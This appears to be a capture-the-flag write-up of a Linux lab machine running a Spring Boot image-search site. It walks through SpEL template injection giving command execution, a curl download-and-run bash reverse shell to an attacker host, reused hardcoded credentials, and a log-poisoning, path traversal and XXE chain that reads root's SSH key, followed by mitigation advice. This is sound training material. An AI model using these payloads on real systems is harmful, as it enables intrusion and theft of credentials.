Overview

Ubuntu 20.04. IP: 10.10.10.x. Topics: SSTI (Spring Boot), log poisoning, path traversal, XXE, source code review.

Chain: SSTI in the search box, shell as woodenk, credentials in the source, SSH, analysis of a root cron job (a Java jar), a four-vulnerability chain (log poisoning + path traversal + metadata-driven path injection + XXE), the root SSH key, root.

Reconnaissance

1
2
ports=$(nmap -p- --min-rate=1000 -T4 10.10.10.x | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -sV 10.10.10.x
  • 22/tcp: OpenSSH 8.2p1 (Ubuntu)
  • 8080/tcp: HTTP (http-proxy)

HTTP (port 8080):

  • A “Red Panda Search” image search page.
  • Page source: <title>Red Panda Search | Made with Spring Boot</title>, so the framework is Java Spring Boot.
  • Searching returns “You searched for: ”, a potential XSS/SSTI vector (our input reaches the response).
  • An “Author” link leads to a stats page with an export to XML (/export.xml?author=woodenk), a lead for later (XML means potential XXE).

Initial Access

SSTI (Spring Boot / SpEL)

Spring Boot uses SpEL. Standard payloads:

1
2
3
${8*8}    -> Error occurred: banned characters
#{8*8}    -> Error occurred: banned characters
*{8*8}    -> 64

The filter blocks ${...} and #{...} but allows *{...}.

RCE:

1
*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}

Result: uid=1000(woodenk) gid=1001(logs) ..., RCE as woodenk.

Reverse shell. shell.sh on the attacking machine:

1
bash -i >& /dev/tcp/<LOCAL_IP>/1337 0>&1
1
2
python3 -m http.server 8000
nc -nvlp 1337

Three SSTI payloads in sequence (download, chmod, run):

1
2
3
*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('curl <LOCAL_IP>:8000/shell.sh -o /tmp/shell.sh').getInputStream())}
*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('chmod +x /tmp/shell.sh').getInputStream())}
*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('/bin/bash /tmp/shell.sh').getInputStream())}

Shell as woodenk.

Lateral Movement

woodenk to SSH

Grep the configuration files:

1
/opt/panda_search/src/main/java/com/panda_search/htb/panda_search/MainController.java

It contains MySQL credentials, and the same password works for the system user:

1
conn = DriverManager.getConnection("jdbc:mysql://localhost:3306/red_panda", "woodenk", "RedPandazRule");
1
ssh [email protected]     # password: RedPandazRule

User flag: /home/woodenk/user.txt.

Privilege Escalation

Analysing the root cron job

1
2
3
wget <LOCAL_IP>:8000/pspy64
chmod +x pspy64
./pspy64

Every 2 minutes as UID 0 (root):

1
java -jar /opt/credit-score/LogParser/final/target/final-1.0-jar-with-dependencies.jar

Source: /opt/credit-score/LogParser/final/src/main/java/com/logparser/App.java

What the program does (main loop):

  1. Reads the log line by line (redpanda.log).
  2. isImage(line): skips lines without .jpg.
  3. parseLog(line): splits the line on || into four fields [status_code, ip, user_agent, uri].
  4. getArtist(uri): builds "/opt/panda_search/src/main/resources/static" + uri, opens the image, reads the Artist field from the EXIF metadata and returns it.
  5. Builds xmlPath = "/credits/" + artist + "_creds.xml".
  6. addViewTo(xmlPath, uri): parses the XML file at that path (the XXE).

The four-vulnerability chain:

#VulnerabilityGivesHow
1Log poisoningControl over uriInjecting `
2Path traversalPoint at our own image../ in uri leaves static/ and points at /tmp/smooch.jpg
3Metadata path injectionPoint at our own XMLThe Artist field (attacker-controlled) reaches xmlPath unsanitized; Artist = ../tmp/hax means /tmp/hax_creds.xml is parsed
4XXERead a root fileAn external entity in our XML reads /root/.ssh/id_rsa into our world-readable file

Step by step:

A. Malicious XML (based on export.xml), with an XXE entity in <author>:

1
2
3
4
5
6
<?xml version="1.0" encoding="UTF-8">
<!DOCTYPE author [<!ENTITY xxe SYSTEM 'file:///root/.ssh/id_rsa'>]>
<credits>
  <author>&xxe;</author>
  ...
</credits>

On the target:

1
2
3
4
wget <LOCAL_IP>:8000/export.xml
chmod 777 export.xml
mv export.xml hax_creds.xml      # the name must end with _creds.xml
# place it in /tmp/hax_creds.xml

B. Malicious image, set the Artist field to the traversal (without _creds.xml, the program appends it):

1
2
3
git clone https://github.com/exiftool/exiftool.git
wget 10.10.10.x:8080/img/smooch.jpg
./exiftool -Artist='../tmp/hax' smooch.jpg

Upload it to the target at /tmp/smooch.jpg.

C. Trigger: poison the log so uri points at our image:

1
curl -A "evil||/../../../../../../../../../../tmp/smooch.jpg" http://10.10.10.x:8080/

D. Wait ~2 minutes (cron) and read the file (the XXE entity wrote the root key):

1
2
cat /tmp/hax_creds.xml
# <author>-----BEGIN OPENSSH PRIVATE KEY----- ... </author>

E. Log in as root:

1
2
chmod 600 id_rsa
ssh -i id_rsa [email protected]

Root flag: /root/root.txt.

Detection and Mitigation

  • Signature filters leak: blocking ${} and #{} without *{} does not close SpEL SSTI. Do not evaluate user input as a template.
  • Hardcoded passwords in source are often shared with a system account.
  • If logs are later parsed, attacker-controlled headers (User-Agent) become an injection vector.
  • Attacker-controlled data in path construction ("/credits/" + artist) without sanitization is path traversal.
  • XML parsers are XXE-prone by default; disable DTDs and external entities (FEATURE_SECURE_PROCESSING, disable DOCTYPE).
  • File metadata is input; the EXIF Artist field is not trusted text.

Lessons Learned

  • Try all SSTI delimiter variants; a filter that misses one is still exploitable.
  • pspy reveals root cron jobs without needing root.
  • Chain small bugs: field injection into a delimited log, traversal, metadata-driven path injection, XXE.

Command Reference

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
# recon
ports=$(nmap -p- --min-rate=1000 -T4 <IP> | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -sV <IP>

# SSTI RCE
# *{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}

# lateral
ssh woodenk@<IP>     # RedPandazRule

# privesc
./pspy64             # find the root cron job
./exiftool -Artist='../tmp/hax' smooch.jpg
curl -A "evil||/../../../../../../../../../../tmp/smooch.jpg" http://<IP>:8080/
cat /tmp/hax_creds.xml
chmod 600 id_rsa && ssh -i id_rsa root@<IP>